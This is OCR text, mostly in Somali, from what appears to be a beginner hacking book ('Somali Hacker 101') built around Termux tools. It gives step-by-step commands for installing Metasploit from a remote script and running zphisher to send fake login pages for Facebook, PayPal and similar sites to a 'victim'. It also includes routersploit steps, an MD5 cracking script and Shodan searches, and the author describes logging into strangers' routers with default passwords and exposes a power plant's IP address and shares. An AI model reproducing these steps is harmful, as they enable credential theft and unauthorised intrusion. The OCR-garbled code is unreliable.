amarada soo socda mid midna TermuX ah (Ka dib markaad gasho hal
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xariiq amar), ha iloobin inaad riixdid gal, oo sug inta hawshu socoto si ay

u dhammaystirto haddii ay jirto).

pkg update && pkg upgrade -y && pkg install wget curl openssh git -y

waa inaan tagnaa tusaha HOME, amrkan gali:

cd SHOME

waa inaan ku rakibnaa qoraal Dhamaystiran Xidhmada Halbeegga

Metasploit. Tan ga;i markaas:

wget Auxilus.github.io/metasploit.sh

Si aad u socodsiiso qoraalka cusub ee lagu rakibay rakibidda

Qaabdhismeedka Metasploit, gali amarkan:

bash metasploit.sh

goraalkiisa ayaa rakibi doona nooca ugu dambeeya ee qoraalka
Metasploit-Framework sidoo kale waxaa ku jira gqaar ka mid ah siyaado
si loo cusbooneysiiyo cusbooneysiinta Metasploit. Haddii wax walboo
hagaagaan, yacni digniino midab casaan ah lahayn, waxaad ku bilaabi

kartaa Metasploit adoo adeegsanaya tallaabooyinka soo socda ee
fudud:


https://auxilus.github.io/metasploit.sh
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Hadda, rakibidda dhammaystiran kadib, waad ordi kartaa Metasploit,
adoo galaya amarkan (meel kasta, maxaa yeelay toobiye waxaa

abuuray Qormada):

msfconsole

marada soo galisay halmar waxaad lu galin karta in aad u dhexaysid &&

tusale : pkg update && pkg upgrade -y && pkg install curl wget tsu wget git &&
wget Auxilus.github.io/metasploit.sh && bash metasploit.sh

Sida phing atack loo gu sameeyo termux

Hadaba waxa jira tools badan
Your Authtoken

ku waso oo aad ku smaayn

kartiid phishing aan eegno
toolka aan u gu isticamlka

badanahay termux

zphisher marka inatanaad la

soo dagin waxaad u bahantahay ngroke gabkan kula soo dag marka

wibsite ka ngroke(https://ngrok.com/) tag 0o soo samayso profile

token kaga soo copy

token sida taad ku arkaysid sawirka:

pkg install zip wget -y
waget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip

unzip ngrok-stable-linux-arm.zip


https://auxilus.github.io/metasploit.sh
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ha hadaba waxaad la soo dagtay ngrok marka token kagi past ku dhex
dheh hotspot ga furo iyo data mobilka hostspot la’aan mashageyo
ngrok

kadib la soo dag zphisher ,gali amaradan:

git clone https://github.com/htr-tech/zphisher

cd zphisher
chmod +x zphisher.sh
bash zphisher.sh

Advanced Phishing Tool with 38 Templates [BY : HTR-TECH ]

[::1 Select any Attack for Your Victim [::]

Facebook 11] Twitch 21] peviantart
Instagram Pinterest 22| Badoo

Google snapchat 23] origin
Microsoft 14] Linkedin 24 CryptoCoin
Netflix Ebay 25] Yahoo

Paypal Dropbox 26| Wordpress
Steam Protonmail 27] Yandex
Twitter Spotify 28] StackoverfFlow
Playstation Reddit 29] vk

Github Adobe 38| XBOX

Traditional Login Page
Advanced Voting Poll Login Page
Fake Security Login Page
Facebook Messenger Login Page

kasib doro social mediada aad qofka ka jabsanaysid



_ Somali Hacker 101

ESC  / - CWRL T AT PGUP mm

HOME END &  « ! —+ PGDN @

V) Ry 3 R Y NG a3 160 {0
dwe;tyulgp

alli= Mol allialn ol

doro namber 2 markaad aad khanad nocana aragto la soco waa inaad

hotspotga mobilka iyo data da mobilka aad furtid

laba link ayuu ku soo saraya oo midkaad donayso aad udiri kartid

bartilmaameed kaga .
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Wifi ku jabi termux

Routerploit waa aalad loo adeegsado wax ka beddelka dejimaha badan
ee router-ka. Waad wax ka beddeli kartaa isbeddelada ku yimaada
router adoo adeegsanaya galabkan routerploit. Dad badan ayaa
sheegaya in routerploit loo adeegsado jabsiga wi fi waxaadna u
isticmaali kartaa jabsiga wi mobile wi fi kasta. Laakiin tani macquul
maaha. Wixii jabsiga wifi mobilada waxaad u baahan tahay adabtarada
wifi dibedda ah

hadaba amaradan ku soo dagso :

Hadaba amarada gali si aad u isticmashid
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rsf > set target { your ip}
rsf > set http_port 8o vulnerability

rsf > run

Hada hawsha nuglaantaada bilow. Nidaamkani wuxuu qaadanayaa
dagiigado yar in lagu baaro u nuglaanshaha router-kan. Ka dib
nuglaanta nuglaanshaha waxaad nuqulan kartaa lambarkan sirta ah ee
is dhexgalka u eg yahay [+] la soco wifi adapter hadanad ku xidhin ku
ma shaqaynayo

rsf > use fvulnerability text adiga ku khasa}
rsf > set target {router IP giisa }

rsf > run

Sidaadku ku ogan gofkale infection

magtahay inaad termux qof kale location kiisa ku ogan kartiid ado
adeeg sanaya ip aderess ga u khasga hada ba hadaad zphisher
isticmashay waxay ku tusday ip ga qofka tab tay hadaba aan eegno

sidan ku samay lahayn

amarad kula soo dag toolka :
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Hadaba gabkan ku isticaml amradan ka tusale qado

ALT PGUP

PGDN <



https://github.com/fikrado
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Chapter Three Cheat Sheet

Hadaba mobile hacking waxa kaga iman karta cilado badan ha arday
badan oo aan u dhigay hacking ila 2020 waxa aay arkayn cilado ka
imada mobilka oo security giisa oo la update gareeyo marka hadaba
haday ciladasi ku haysato waxan u diyariyay script ama github repo oo
ugu tala galay qofkii buugan ka fa,idaysanaya inu termux uu ku soo
shubto tools ga buugan iyo kuwa kale oo aad u badan waxba ha ka bigin
waa inaad man aad isticmasha si aad tools gan ula gabsatid marka

amarkan gali termux :

apt update && apt upgrade -y

markaad inta galiso termux waa uu update garays mayakadib intan gali

pkg install git bash -y && git clone https://github.com/fikrado/Yahye_Abdirahman && cd
Yahye_Abdirahman && chmod +x * && bash yahye.sh


https://github.com/fikrado/Yahye_Abdirahman
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Markaad intaas galiso waxaan huba inaay tools ga termux oo gu

khatarsan ku soo shubmayaan

waxii inta dheer github kayga ka helaysa




CHAPTER: 4
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Chapter 4

Noao Hackerka

Casriga

Baro programing sida

hackerka oo kale:

Waxaad tahay Hackers. Gurigaagu waa terminal. Waad ogtahay
istaroog kasta oo muhiim ah inuu giimo leeyahay. Haddii wax ka
hooseeyaan 100% wax ku ool ah, waxaad ku bixin doontaa saacado si
aad u ogaato galabka saxda ah ee aad naftaada u badbaadin karto

ilbirigsiyo. Sababtoo ah marwalba way u galantaa.
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Raadintaada joogtada ah ee

habab cusub oo kafiican oo
aad wax ku gabato miyey ka
leexinaysaa run ahaantii inaad
wax qabato? Qaarkood waxaa
laga yaabaa inay dhahaan
haa, laakiin adigu waxaad
leedahay maya. Shago ma mudna in la gabto illaa aad cashar ka
dhigatid kuwa kula shageeya si aad u awood u yeelato inaad si hufan u

gabato (waqtiga dejintu kuma jiraan)

Shell (zsh)

Shell waa programing langueg ga terminaalka kaso hacker ku
programing gareeyo tools giis ha sirtaydiibaad ogatay (qurxin, ip,

instagram brutal force ) Waxaan ku programiyay shell.
Hadaba xooga aan ka cawiyo :
e git - tan oo ah magacyada iyo shaqgooyinka waxtarka u leh git

e tmux - magacyo iyo dejimaha loogu talagalay isku darka zsh iyo

tmux

¢ node - wuxuu ku darayaa amarka node-docs ee furitaanka

dukumiintiyada websaydhka
e osx - dhowr koronto oo loogu talagalay la shageynta OSX

e web-search - ka bilow raadinta shabakadda gadka amarka
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¢ auto-suggestions - soo-jeedinno dhakhso ah, oo aan loo

baahnayn sida aad wax u qoro oo ku saleysan taariikhda

Bash

Bash waa shell language markaa waa terminaalka lugadisa hadan soo
koob no marka hacker kasta u bahanyay inu barto bash way ka fuday
python waxaad ku isticmali karta terminlaka ado isticmalaya nano (IDE

ga terminaalka) ama hada jeceshay ide kale waad ku isticmalli karta

iko kale aa samayno file bash ana ko isticmalayna nano

nano test.sh

kadib waka xoga basha waa inaad baratiid si aad tools oo gu samaysid
hakabigin nmap iyo tools kale terminalka ku shageeyaba waad ku wada
is ticmali karta marka buuga oo ugu wanagasan waxa la yidha ee bash
ka baran kartiid the linux comand line waxaad ka heli karta pdf dirve

https://www.pdfdrive.com/
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ﬁ  Python

Maaddaama uu yahay Injineer Sayniska Kombuyuutarka ah oo
adduunka wax ka qora, qofku waa inuu ogaadaa sida loo sameeyo
howlaha Hacking. Waana inaan hor istaagnaa sidii aan adduunkeena

uga ilaalin lahayn dambiilayaasha internetka.

Inaad awood u yeelatid inaad marin u hesho nidaam aan lagaa rabin
inaad marin u hesho ayaa loo yagaan 'Hacking'. Tusaale ahaan, gal
koontada emaylka iyadoon oggolaansho laga haysan waxaa loo
tixgeliyaa jabsiga koontadaas. Helitaanka helitaanka kombiyuutar fog
iyada oo aan oggolaansho lagaa haysan ayaa jabsanaya
kombiyuutarkaas. Markaa waad arki kartaa inay jiraan tiro badan oo

habab ah oo lagu jabsan karo nidaamka ereyga hacking wuxuu tixraaci
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karaa waxyaabo badan laakiin fikradda guud waa isku mid. Helitaanka
helitaanka ama aad awoodid inaad sameyso waxyaabo aadan u maleyn

karin inaad sameyn karto, waxaa loo tixgeliyaa jabsiga.

Si aad u jebiso furaha sirta ah ama aad u xado xogta? Maya, intaas way
ka badan tahay intaas. Jabsiga anshaxa waa in lagu baaro nuglaanta iyo
in laga helo gatar kumbuyuutar ama shabakado. Hackers anshax ah
wuxuu ka helaa dhibcaha daciifka ah ama daldaloolada kumbuyuutarka,

codsiyada shabakadda ama shabakadda wuxuuna ku wargeliyaa
hay'adda. Marka, bal aan wax badan ka sahamino Hacking Anshaxa

talaabo-tallaabo.
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Python waa ujeedo guud oo loo adeegsado, luugad barnaamij heer sare
ah. Python waa luugad aad u fudud oo hadana ah luugad qoraal ah oo
awood leh, waa il furan oo ujeedo leh waxayna leedahay maktabado
waaweyn oo loo isticmaali karo labadaba jabsiga iyo qorista
barnaamijyo caadi ah oo aad u faa'iido badan marka laga reebo
barnaamijyada jabsiga. Mustagbalka iyo xilligan xaadirka ah Python
waa mid caan ah oo ay fududahay in la barto, barashada ku jabsiga
Python waxay nogon doontaa mid xiiso leh oo waxaad ku baran
doontaa barnaamijka Python habka ugu fiican. Waxaa jira baahi weyn

0o loo gabo horumarinta Python suuqa.

Qof kastaa wuu ogyahay in furaha sirta ah aan lagu kaydin qoraal cad
oo ku jira keydka websaydhka. Hadda waxaan eegeynaa sida loo
khawano ereyga sirta ah ee qoraalka ah markii aad hesho erey sir ah oo
qaabkiisu yahay (mds). Marka waxaan gaadaneynaa input_hash (erayga
sirta ah ee keydka keydka macluumaadka) oo waxaan isku dayeynaa

inaan isbarbar dhig ku sameyno mds hash oo ah eray kasta oo sir ah oo
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qoraal ah kaas oo kujira feyl sir ah (pass_doc) oo markii gashinku
iswaafajiyo waxaan si fudud u muujineynaa erayga sirta ah ee qoraalka
ee kujira faylka sirta ah (pass_doc). Haddii erayga sirta ah uusan ku jirin
faylka sirta ah ee la gelinayo wuxuu oran doonaa eray sir ah lama helo,
tani waxay dhacaysaa oo keliya haddii buufin daadku uusan dhicin
Weerarka noocan ah waxaa loo gaadan karaa inuu yahay weerar

gaamuus.

Hoos waxaa ku yaal hirgelinta. Aynu u malayno in faylka qoraalka ku jira

liiska lambarka sirta ahi yahay password.txt.

import hashlib

PrinE QR PAS SWO RDNCRACKE RISty

# To check if the password

# found or not.

pass_found = 0

input_hash = input("Enter the hashed password:")

pass_doc = input("\nEnter passwords filename including path(root / home/):")

try:

# trying to open the password file.
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# comparing the input_hash with the hashes
# of the words in password file,

# and finding password.

for word in pass_file:
# encoding the word into utf-8 format

enc_word = word.encode('utf-8")

if digest == input_hash:
# comparing hashes
print("Password found.\nThe password is:", word)
pass_found = 1

break

# if password is not found.

Gali lambarka sirta ah ee la shubay:
061a01a98f80f415b1431236b62bb10b

Gali furaha sirta ah magaca faylka oo ay kujirto dariiga (root/home/) :
password.txt

marka password kasta waa ku jabin karta python adigo scriptiga sii

wanajiya
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GO (Golang)

GO waa luugad barnaamij oo loogu talagalay in la sameeyo 2007,
xaqiiqadani waxay si toos ah ugu dhejisaa gaybta dhallinta yar yar. Xitaa
waa cadaalad da 'yar, marka loo eego kuwa kale, waxay leedahay
waxyaabo badan oo la bixiyo. Maya, ha ku jahwareerin quruxdeeda iyo
quruxdiisa Gopher mascot. Lugaddani waxay u egtahay shisheeye

shisheeye o0 isku dayaya inuu xukumo adduunyada horumarka!

Markaa hadday wax aakhirka xukumayaan adduunyada oo dhan,
miyaanay ahayn inaynaan si faahfaahsan wax uga ogaanno? Way ka
fiican tahay inaad u isticmaasho sida hubka oo kale, halkii aad ka gaadan
lahayd garaacis. Yaab, haddii tani ay tahay sababta ay shirkadaha
horumarinta barnaamijyada mareegtu u adeegsanayaan Go sidii lugad

muhiim u ah abuurista?

Qoraalkaas, aan ku baranno Gopher-ka wax yar si ka wanaagsan si aan u

dooranno kan ugu fiican nafteenna.
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Maxaa loo isticmaali waayey Python?

Python wuxuu xukumaa amniga ugu sarreeya iyo sabab macquul ah.
Waa luugad barnaamij wax ku ool ah. Waxaa jira maktabado badan oo
taageera oo ku yaal halkaas nabadgelyada iyo isticmaalka guudba. Si
kastaba ha noqotee, waxaan u maleynayaa in Go uu leeyahay

mudnaantiisa 0o uu ku noolaan karo niche.

Dhisida wakiil aan TLS ahayn oo joojinaya wakiil TCP waa wax fudud.

Waxay aad ugu egtahay server-ka TCP ee aan horay u abuurnay.

Waxaan dhageysaneynaa isku xirnaanta TCP. Ka dib markii mid la
aasaaso, waxaan u abuureynaa xiriir cusub IP gudbinta: dekedda oo aan
dirnaa dhammaan xogta. Adigoon gorin tan waxaa lagu sameyn karaa
mid fudud io.Copy(connDest, connsrc) lyada 00 |a jarayo waa inaan isticmaalnaa

goroutines badan (sidii aan horay u aragnay).

/1 04.3-01-tcp-proxy.go

package main

import (
"flag"
"fmt"
mig"

"net"
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var (
bindIP, bindPort, destlP, destPort string

)

func init() {
flag.StringVar(&bindPort, "bindPort", "12345", "bind port")
flag.StringVar(&bindIP, "bindIP", *127.0.0.1", “bind IP")
flag.StringVar(&destPort, "destPort", *12345", "bind port™)
flag.StringVar(&destIP, "destIP", "127.0.0.1", "bind IP")

¥

I readSocket reads data from socket if available and passes it to channel
func readSocket(conn net.Conn, ¢ chan<- []byte) {

/I Create a buffer to hold data

buf := make([]byte, 2048)

/I Store remote IP:port for logging
rAddr := conn.RemoteAddr().String()

for {

/I Read from connection

n, err := conn.Read(buf)

/I 1f connection is closed from the other side

if err == i0.EOF {
/I Close the connction and return
fmt.PrintIn(*Connection closed from", rAddr)
return

}

/I For other errors, print the error and return

if err '=nil {
fmt.PrintIn("Error reading from socket", err)
return

}

/I Print data read from socket

/I Note we are only printing and sending the first n bytes.

/I 'n is the number of bytes read from the connection

fmt.Printf("Received from %v: %s\n", rAddr, buf[:n])

/I Send data to channel

¢ <- buf[:n]
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I/l writeSocket reads data from channel and writes it to socket
func writeSocket(conn net.Conn, ¢ <-chan []byte) {

/I Create a buffer to hold data

buf := make([]byte, 2048)

/I Store remote IP:port for logging
rAddr := conn.RemoteAddr().String()

for {

/I Read from channel and copy to buffer

buf = <-c

Il Write buffer

n, err := conn.Write(buf)

/I 1f connection is closed from the other side

if err == i0.EOF {
/I Close the connction and return
fmt.PrintIn(*Connection closed from", rAddr)
return

}

/I For other errors, print the error and return

if err 1= nil {
fmt.PrintIn("Error writing to socket”, err)
return

}

/I Log data sent

fmt.Printf("Sent to %v: %s\n", rAddr, buf[:n])

Il forwardConnection creates a connection to the server and then passes packets
func forwardConnection(clientConn net.Conn) {

/I Converting host and port to destIP:destPort
t := net.JoinHostPort(destIP, destPort)

/I Create a connection to server

serverConn, err := net.Dial("tcp", t)
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continue

¥

fmt.Printf("Received connection from %v\n", conn.RemoteAddr().String())

go forwardConnection(conn)

Tools ga casriga ay

isticmalan hackerisgu

Hadaba waxaan egayna tools
ay isticmalan hacker gu ku
waso casriya ama kali ku jirin
oo hawlaha ku fududaynaya

inaad hacking samayso
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Sherlock

Sherlock, oo ah aalad amar xoog leh oo ay bixiso Sherlock Project, ayaa
loo isticmaali karaa in lagu helo adeegsadeyaal shabakado badan oo
bulsheed. Waxay ubaahantahay Python 3.6 ama wixii ka sareeya
waxayna ka shagaysaa MacOS, Linux iyo Windows. Waxa laga soo qatay
danbe badhaha shekoyinka police ga ee sherlock holms marka sharlock
waxaad ugu bahantahay inaad dabagal ku samayso ka so aad ka helayso
gofkii aad domaysay soicial acount walbu layay hadad is leeday waa
maxay fa’idada uu leeyay dad badana hal password ayay isticmalan taaso

aad kaga hele kartiid website password si fudu u kaydiya.

La soo dag iyo isticaml sherlock

$ git clone https://github.com/sherlock-project/sherlock.git

$ cd sherlock

$ python3 -m pip install -r requirements.txt



_ Somali Hacker 101

Hal gof markad ku radinaysid

python3 sherlock user123

Dad badan markaad ku radinaysid

python3 sherlock userl user2 user3

Shodan

Shodan waa mashiin raadin ah oo u oggolaanaya adeegsadaha inuu helo
noocyo gaar ah oo kombuyuutarro ah (kamaradaha webka, routerka,
serverka, iwm) ee ku xiran internetka adoo adeegsanaya miirayaal kala
duwan. Qaarkood waxay sidoo kale ku tilmaameen inay tahay mashiin
raadinta boodhadhka adeegga, kuwaas oo ah metadata uu adeeguhu dib
ugu celiyo macmiilka. Tani waxay nogon kartaa macluumaad ku saabsan
softiweer-ka server-ka, ikhtiyaarrada ay adeeggu taageerto, farriin soo
dhaweyn ah ama wax kasta oo kale oo macmiilku heli karo ka hor inta

uusan la macaamilin adeegga.
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Shodan waxay uruurisaa xogta inta badan shabakadaha internetka (HTTP
/ HTTPS - dekadaha 80, 8080, 443, 8443), iyo sidoo kale FTP (dekedda
21), SSH (dekedda 22), Telnet (dekedda 23), SNMP (dekedda 161), IMAP
(dekedaha 143, ama (loo xareeyay) 993), SMTP (dekedda 25), SIP
(dekedda 5060), iyo Borotokool Real Streaming Streaming (RTSP,
dekedda 554). Qeybta dambe waxaa loo isticmaali karaa in lagu galo

kaamirooyinka websaydhka iyo fiidiyowgooda.

Waxaa la bilaabay 2009-kii barnaamijka kumbuyuutarka John Matherly,

kaas 00, 2003, uureeyay fikradda aaladaha raadinta ee ku xiran
internetka. Magaca Shodan wuxuu tixraac u yahay SHODAN, oo ah

dabeecad ka socota taxanaha ciyaarta fiidiyowga 'Shoogga'.
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Isticmalka shodan

Marka hore, aan ku bilowno marinka shodanhg.com. Markaan sameyno,

waxaa nagu soo dhaweyn doona shaashadda furitaanka sida tan hoose.

Shodan Exploits Scanhub Maps Blog Anniversary Promotion Register | Login

“%sHopAN [, <o

EXPOSE ONLINE DEVICES. =

WEBCAMS. ROUTERS.
POWER PLANTS. IPHONES. WIND TURBINES.
REFRIGERATORS. VOIP PHONES.

| TAKE A TOUR

~¢ DEVELOPER API LEARN MORE g FoLLow ME

Shodan waxay ubaahantahay inaad isdiiwaangaliso adeegsiga dhamaan
astaamaheeda, laakiin adeegu waa bilaash inaad ubaahantahay inaad

adeegsato gaar kamida astaamaheeda horumarsan

Mar alla markii aan isdiiwaangalinno, ama waan sameyn karnaa
baaritaanno caadiya ama waxaan aadi karnaa "SearchDirectory" oo aan
arki karnaa gaar ka mid ah baaritaannada ugu caansan uguna
dambeeyay. Haddii aad ku cusub tahay Shodan, waxaan kugula talin

lahaa inaad marka hore daalacato "PopularSearches".
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Shodan Exploits Scanhub Maps Blog Anniversary Promotion Settings | Logout 2

«%svopaN (N -

Home Search Directory Data Analytics/ Exports Developer Center Labs

Recony Addod  Browss Tags

Browse All Searches
Popular Searches &

Webcam Search
best ip cam search | have found yet. e
webcam  surveillance cams
Netcam » Popularity
Neteam » Recently Added
netcam
Cams [ Popular Tags ]
admin admin webcam 60
cam webcam scada 48
dreambox nitp “a
dreambox camera 40
dreambox router 40
default password P 20
Finds results with "default password" in the banner; the named defaults might work! test 35
router default password cam 35
netgear cisco 30
,,,,,, Amin nace: nacawnrd ssh 28

Qalabka aan ka heli karno Shodan waxaa ka mid ah kamaradaha webka
ee aan la tirin karin, aan la ilaalin karin. Waa tan mid ka mid ah kuwa
badan oo aan ka helay Shodan. Midkani wuxuu ku dhex yaal hangar
diyaarad oo ku taal Norway. Ogsoonow inay leedahay kontaroolada java
si aad u foorarsato oo aad u garaacdo oo aad ka isticmaali karto

websaydhka si aad u baari karto oo u soo dhaweyn karto dhammaan

AXISa AXIS 212 PTZ Network Camera Live View | Setup | Help
Video format Source
Go

Zoom wide Crosshair

200M wide
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Waxaa jira aalado aad u tiro badan oo laga heli karo Shodan oo liistadu
buuxin doonto maqgaalkan oo dhan. Mid ka mid ah waxyaabaha xiisaha
badan ee aan heli karno waa calaamadaha taraafikada iyo
kaamirooyinka ilaaliya taraafikada isgoysyada iftiinka leh (gobollada gaar
ayaa hadda adeegsada kaamirooyinkan si ay u diiwaan geliyaan
lambarkaaga taarikada oo ay kuu soo diraan tigidh haddii ay ku

ogaadaan inaad xawaare ku socoto ama aad wado nal cas) .

Si taxaddar leh halkan! Ku dirista ama jabsiga calaamadaha taraafikada
waxay sababi kartaa dhimasho waxaana laga yaabaa inay sharci darro
tahay. Halkaan waxaan ku tusayaa liistada "Kaamirooyinka hirgelinta Red

Light" ee ka socda Shodan.

Shodan Exploits Scanhub Maps Blog Anniversary Promotion  Settings | Logout @

%siopaN I -

Home Search Directory Data Analytics/ Exports Developer Center v Labs
Popular Searches Recently Added Browse Tags

Browse All Searches
Tag: camera I

Red light enforcement cameras Search
red light enforecement camera webcam —

red light enfor it camera b List All S huB

D-Link Internet Camera » Popularity
D-Link Internet Camera DCS-5300 series, without authentication. [g00gle 5c0u7]
: » Recently Added
dlink dcs5300 webcam camera netcam no authentication

e

one of the best dorks for ip cameras/webcams webcam 60
webcam cam camera Ipcam ip a_ live scada 48

yawcam http il
yet another webcam camera 40
Ip. camera router 40

Red Light Cameras fip =
PIPS Technology ALPR processors are complete one-box processors for automatic test 35
licence plate recognition. To see a live feed of license plates as they're being cam 35

captured, visit the "Monitor > Client Monitor" section.

camera http trafficlight clsco 39

ssh 28

Hinh-daf \Wah Mamearae
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Shodan wuxuu hayaa kumanaan kumanaan, hadaanay ahayn malaayiin,
oo ah kuwa router-yada, qaar badan oo kamid ahna aan difaac lahayn.
Waa kan shaashadda mid ka mid ah oo aan helay oo aan ku galay
koontada maamulka magaca isticmaalaha "admin" iyo erayga sirta ah ee

"admin".

— NETGEAR Super Wireless ADSL Router DG834GT

@® Eg
E 3 s Mbps

—

Setup Wizard "~ Router Status
Basic Settings Account Name
ADSL Settings Firmware Version V1.02.09
Wireless
Settings ADSL Port
MAC Address
IP Address
Logs Network Type PPPOA
Block Sites | IP Subnet Mask 255.255.255.255
Firewall Rules Gateway IP Address
Services Domain Name Server
Schedule |
E-mail LAN Port
MAC Address
Routor Shat IP Address 192.168.1.254
outer Status DHCP on
Attached IP Subnet Mask 256.255.255.0
Devices
Backup Settings Modem =
Set Password ADSL Firmware Version A2pB022c.d20e
Diagnostics Modem Status Connected
DownStream Connection Speed 2374 kops
Hattailipgrade UpStream Connection Speed 799 kbps
= o T T T T
= I i [ [ = 7:37PM
2o e[S[Aa[ax
= Dll c | | &5 | &) | | P @ o 4/24/2014

Sida iska cad, haddii aan damac xun leeyahay, waan beddeli lahaa
dhammaan dejintooda, oo ay ku jiraan lambarka sirta ah iyo burburka ku
habsaday galabkan wireless-ka ah iyo dadka saboolka ah, ee aan

isticmaalin.

Adeegyada ugu cabsida badan uguna waxyeelada badan ee Shodan

waxaa ka mid ah helitaanka qalabka SCADA (kormeerka kormeerka iyo
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helitaanka xogta) aaladaha leh websaydhada. Qalabka SCADA waa kuwa
xukuma waxyaabaha sida shabakada korontada, dhirta biyaha, dhirta

daaweynta gashinka, warshadaha tamarta nukliyeerka, iwm.

Qalabkan SCADA waa bartilmaameedyada ugu badan ee argaggixisada
internetka ama dhacdooyinka dagaalka internetka, halkaas oo laba
dagaalyahan ay isku dayayaan inay curyaamiyaan kaabayaasha kale. Sida
iska cad, haddii hal dagaal yahan awoodi karo inuu joojiyo kuwa kale

shabakadda korontada, tamarta iyo dhirta biyaha, iwm.

Baadhitaan ganaax ah oo ku saabsan galabka SCADA ayaa i keenay

cinwaanka IP-ga ee warshad koronto ka dhalisa magaalada Genoa,

Host Profile: 93.62.155.179

Talyaaniga.

IP: 93.62.155.179
Location: i | Genova, Italy
Latitude/ Longitude: 44.4167, 8.95

Sharename Type Comment

IPCS$ IPC IPC Service (NAS Server)

ERG_HYDRO_DD_HYDRAsrl Disk ERG_HYDRO_DD_HYDRAstl
FTP-EROM Disk scambio file tfr con Genova

test Disk test_Cardaci

RENEW-STORICO IVPC SWI Disk Repository storico dati SWI IVPC
9aciccone Disk

9dkoch Disk

FTP-SCADA Disk scambio files con Sirius

FTP-WIND Disk

Qsync Disk Qsync

FTP CGI Disk scambio file CGI-LOGICA

9apieri Disk (referente CASALINI, 2013-11-12)

9lcannizzo Disk (referente CASALINI, 2013-11-11)

homes Disk System default share

amartorana Disk

dfunaro Disk

mrama Disk

Network Recycle Bin 1 Disk [RAID6 Disk Volume: Drive 12356 7]
Public Disk System default share

Tich Mick Quetam dafanlt chara
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Markii aan dhagsiiyey xiriiriyahan, waxaa la ii soo bandhigay
shaashaddan soo galitaanka ee is-dhexgalka nidaamka xakamaynta

dhirta korantada.

Turbcé}éystgm;

Sida iska cad, awooda lagu soo gali karo shabakadan ku saleysan
websaydhka ayaa waxyeelo weyn u geysan karta warshadda biyaha iyo

dadka iyo qarankaba.

Qaar badan oo ka mid ah bogaggan iyo isweydaarsiyadu waxay
adeegsadaan furayaasha sirta ah. Nasiib wanaag annaga, waxaa jira ilo
badan oo shabakadda ah oo liis garaya furaha sirta ah ee aaladaha oo
dhan. Halkan waxaa ku yaal mid ka mid ah
www.phenoelit.org/dpl/dpl.html. Waxaa macno ahaan jira boqolaal ka
mid ah bogagga shabakadda. Si fudud Google "defaultPasswords"
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Maaddaama macaamiil badan iyo maamulayaasha nidaamku ay yihiin
kuwo aan taxaddar lahayn oo aan beddelin furaha sirta ah, badiyaa
waxaad marin u heli kartaa aaladahaan si fudud adoo adeegsanaya

liisaskan si aad u heshid magaca isticmaalaha iyo lambarka sirta ah.

Default Password List

2007-07-03

ASSWORD

Admin

tech

adminttd

admin co cO! n Works on all 3com wireless APs
te

Shodan waa nooc ka duwan mashiinka wax lagu raadiyo. Shodan ayaa
boorar ka soo jiidata cinwaanada IP ka dibna waxay haysaa dhammaan
noocyada aaladaha ay ku leeyihiin meel fog adduunka oo dhan. Qaar
badan oo ka mid ah aaladahaan ayaa loo goondeeyay inay agbalaan
fikradaha aasaasiga ah, marka marka aad hesho qalab iyo soo
galitaankiisa asalka ah, waad awoodi kartaa inaad iska leedahay Kaliya

maskaxda ku hay in Shodan aysan ahayn adeeg garsoodi ah.
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H

)}b

Phonelnfoga

Shodan waa nooc ka duwan mashiinka wax lagu raadiyo. Shodan ayaa
boorar ka soo jiidata cinwaanada IP ka dibna waxay haysaa dhammaan
noocyada aaladaha ay ku leeyihiin meel fog adduunka oo dhan. Qaar
badan oo ka mid ah aaladahaan ayaa loo goondeeyay inay agbalaan
fikradaha aasaasiga ah, marka marka aad hesho qalab iyo soo
galitaankiisa asalka ah, waad awoodi kartaa inaad iska leedahay Kaliya

maskaxda ku hay in Shodan aysan ahayn adeeg garsoodi ah.

DI phone
numbers footprints
Country, ty,

carrier, imezone

Phonelnfoga scanning & footprinting process

E.164 format

— . ‘ > International format

Local format
———>  Information gathering

Q) ot
(] viomasongameres

Istimalka phoneinfoga

Marka u gu horaysa kaydi reposatoryga


https://github.com/Wes974/PhoneInfoga
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cd PhoneInfoga

Terminal - root@kali: ~/Phoneinfoga

Help

Ls

config.example.py LICENSE phoneinfoga.py requirements.txt
Dockerfile README . md

«1

lyo haa waxa aan sameyno markaan aragno feyl shuruudo ah, rakib

dhammaan shuruudaha.

pip install -r requirements.tx

Haddii tuubadu aysan ku jirin PATH-kaaga oo kaliya Python uu sameeyo,

u samee sida soo socota,

python3 -m pip install -r requirements
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Terminal - rootikali: ~ﬁ’hoﬂﬂn'.nqaf\undmndnv-%oﬂ«lhloqa-‘nao!hll

Dockerfile README . md

t # python3 -m pip install r requirements.txt
Requirement already satisfled: requests In Jusr/lib/python3/dist-packages (from -r requirements.txt

21.0)
Collecting bsd4 (frc r requirements.txt (1li

Downloading https://files.pythonhosted.org/packages/10/ed/7e8b97591161456174139ec089¢ 769189a94a1a402512967691d 8
2971f314/bs4-0.0.1, tar i
Requirement already satisfied: html1Slib in Jusr/l1ib/python3/dist-packages (from -r requirements.txt (line 3)) (1
68.1)
Collecti

Down
276b47

(from r requlrements.txt
colorama in Jusr/lib/python3/dist-packages (from r requirements. txt

beautifulsoupd in Jusr/lib/pythoni/dist-packages (Tfrom bsd4->-r requirements.tx

Markaan rakibnay dhammaan shuruudaha, waxaan u baahanahay inaan
abuurno feylka iskuxirka. Waxaa jira fayl isku duuban oo muunad ah oo
horeyba loogu bixiyey sida config.example.py. Haddii aad tagaanid oo
aad fahantid Python, horay u soco oo wax ka beddel feylka iskuxirka si
aad ugu haboonaato baahiyahaaga, haddii kale, kaliya ku nuqul faylka

isku midka ah isla jaangooyooyinkan.

cp config.example.py config.p

Taasi waa |, dhammaan waa la dejiyey. Hadda waad wadi kartaa

goraalka.

Si aad u tijaabiso waxay kuu ogolaaneysaa inaad isku daydo inaad
daabacdo nooca.
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python3 phoneinfoga.py —

Terminal - rootitkall: -~ Phonemnfogasundowndev-Phoneinfoqa-580 368

2 cp config.example.py config.py
# python3 phoneinfoga.py

Haddaba u kaalay qaybta xiisaha leh, waxaan soo qaadan karnaa
macluumaadka lambarka Taleefanka annaga oo isticmaaleyna calanka -n

sida,

python3 phoneinfoga.py -n <PhoneNumber with country code>
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Cain and Able

Cain and Abel (oo inta badan loo soo gaabiyo Cain) waxay ahaayeen
galab soo kabashada sirta ah ee Microsoft Windows. Waxay soo ceshan
kartaa noocyo badan oo furaha sirta ah iyadoo la adeegsanayo habab
sida urinta baakadaha shabakadda, dillaacista ishtarrada sirta ah iyadoo
la adeegsanayo habab ay ka mid yihiin weerarrada gaamuusyada, xoog
caayaan iyo weerarada loo yagaan 'cryptanalysis'. oo la siiyay Cain and
